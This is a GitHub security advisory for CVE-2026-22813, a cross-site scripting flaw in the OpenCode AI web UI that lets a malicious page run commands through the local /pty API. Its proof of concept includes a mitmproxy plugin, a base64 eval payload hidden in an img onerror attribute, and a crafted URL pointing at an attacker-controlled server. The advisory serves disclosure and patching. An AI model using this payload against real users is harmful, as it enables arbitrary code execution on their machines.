CVE-2026-22813: Opencode ai Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c83v-7274-4vgp",
  "modified" : "2026-01-13T20:36:42Z",
  "published" : "2026-01-13T20:36:41Z",
  "aliases" : [ "CVE-2026-22813" ],
  "summary" : "Malicious website can execute commands on the local system through XSS in the OpenCode web UI",
  "details" : "### Summary\nA malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on `http://localhost:4096`. From there, it is possible to run arbitrary commands on the local system using the `/pty/` endpoints provided by the OpenCode API.\n\n### Code execution via OpenCode API\n\n- The OpenCode API has `/pty/` endpoints that allow spawning arbitrary processes on the local machine.\n- When you run `opencode` in your terminal, OpenCode automatically starts an HTTP server on `localhost:4096` that exposes the API along with a web interface.\n- JavaScript can make arbitrary same-origin `fetch()` requests to the `/pty/` API endpoints. Therefore, JavaScript execution on `http://localhost:4096` gets you code execution on local the machine.\n\n### JavaScript execution on localhost:4096   \n\nThe markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.\n\nThis means controlling the LLM response for a chat session gets you JavaScript execution on the `http://localhost:4096` origin. This alone would not be enough for a 1-click exploit, but there's functionality in `packages/app/src/app.tsx` to allow specifying a custom server URL in a `?url=...` parameter:\n\n```javascript\n// packages/app/src/app.tsx\nconst defaultServerUrl = iife(() => {\n  const param = new URLSearchParams(document.location.search).get(\"url\")\n  if (param) return param\n  \n  // [truncated]\n  \n  return window.location.origin\n})\n```\n\nUsing this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display `ses_45d2d9723ffeHN2DLrTYMz4mHn` from the attacker-controlled server at https://opencode.attacker.example.\n\n### Note on exploitability\n\nBecause the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the `?url=` parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of `Fri, 09 Jan 2026 21:36:31 GMT`. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0. \n\n### Proof of Concept\n\nA simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.\n\n1. Spawn an OpenCode instance in a Docker container\n\n```\n$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0\n```\n\n2. Create a file called `plugin.py` with the contents below\n\n```python\nimport base64\nimport json\n\npayload = \"\"\"\n(async () => {\n    // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']};\n    const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']};\n    const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});\n    const pty_id = (await r.json())['id'];\n    await new Promise(r => setTimeout(r, 500));\n    await fetch('/pty/' + pty_id, {method: 'DELETE'})\n    window.location.replace('https://example.com');\n})()\n\"\"\"\n\n# Other messages have been removed from this codeblock for brevity\nmalicious_messages = [\n    #  [truncated]\n    {\n        # [truncated]\n        \"parts\": [\n            # [truncated]\n            {\n                \"id\": \"prt_ba2d26ca0001fcRfwfEZ4bP7gF\",\n                \"sessionID\": \"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\n                \"messageID\": \"msg_ba2d269130016guS0KSZ0FY2J9\",\n                \"type\": \"text\",\n                \"text\": f\"Hello, World!\\n<img src=\\\"/favicon.png\\\" onerror=\\\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\\\" style=\\\"display: none;\\\">\",\n                \"time\": {\n                    \"start\": 1767963258360,\n                    \"end\": 1767963258360\n                }\n            },\n            # [truncated]\n        ]\n    }\n]\n\nmalicious_session = {\"id\":\"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\"version\":\"1.0.220\",\"projectID\":\"global\",\"directory\":\"/\",\"title\":\"Hello World!\",\"time\":{\"created\":1767963257052,\"updated\":1767963258366},\"summary\":{\"additions\":0,\"deletions\":0,\"files\":0}}\n\nasync def response(flow):\n    if flow.request.path.split('?')[0] == '/session':\n        flow.response.text = json.dumps([malicious_session], separators=(',', ':'))\n    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn':\n        flow.response.status_code = 200\n        flow.response.text = json.dumps(malicious_session, separators=(',', ':'))\n    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message':\n        flow.response.text = json.dumps(malicious_messages, separators=(',', ':'))\n```\n\n3. Start mitmproxy with the plugin in reverse proxy mode\n\n```\n$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096\n```\n\n4. Start OpenCode in your terminal as the victim\n\n```\n$ opencode\n```\n\n5. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345\n\n6. Confirm the file `albert-was-here.txt` was created in the `/tmp/` directory\n\n```\n$ ls /tmp/\nalbert-was-here.txt\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "opencode-ai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22813"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/anomalyco/opencode"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-13T20:36:41Z",
    "nvd_published_at" : "2026-01-12T23:15:53Z"
  }
}